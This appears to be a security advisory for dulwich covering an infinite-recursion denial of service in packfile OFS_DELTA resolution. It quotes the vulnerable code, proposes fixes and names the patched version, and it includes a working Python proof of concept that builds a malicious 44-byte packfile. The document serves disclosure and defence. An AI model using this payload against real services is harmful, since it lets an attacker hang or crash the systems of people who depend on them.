Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object ResolutionGHSA-35mr-4567-66vg
MEDIUMFix: jelmer/dulwich@d06ffc3GHSA-35mr-4567-66vg is a medium-severity (CVSS 6.5) vulnerability in dulwich. A fix is available for dulwich — see the affected versions and patch details below.
Real-World Exposure
dulwichReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Affected file
dulwich/pack.py(Method:Pack.resolve_object)
Description / Summary
A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.
If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.
Vulnerable Code Breakdown (dulwich/pack.py):
elif obj_type == OFS_DELTA:
delta_offset = parse_pack_object_offset_at(...)
base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0
base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion
Potential impact
An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).
- CPU Exhaustion: The process will spin at 100% CPU indefinitely.
- Denial of Service: Any service using
dulwich(web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. - Protocol Incompatibility: This behavior violates the Git packfile specification. The standard
gitC client explicitly guards against this:if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)
The following Python script generates a 44-byte packfile that triggers the loop:
from dulwich.pack import Pack
import struct, zlib, tempfile, os
# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body
pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)
fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)
# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
- Explicit Guard: Add a check in
Pack.resolve_objectto rejectdelta_offset == 0:if delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") - Recursion Depth: Implement a depth limit (e.g.,
MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | dulwich | all versions | 1.2.9pip install --upgrade 'dulwich==1.2.9' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dulwich, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dulwich to 1.2.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-35mr-4567-66vg is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-35mr-4567-66vg in your dependencies?
Find it across PyPI, including transitive dependencies.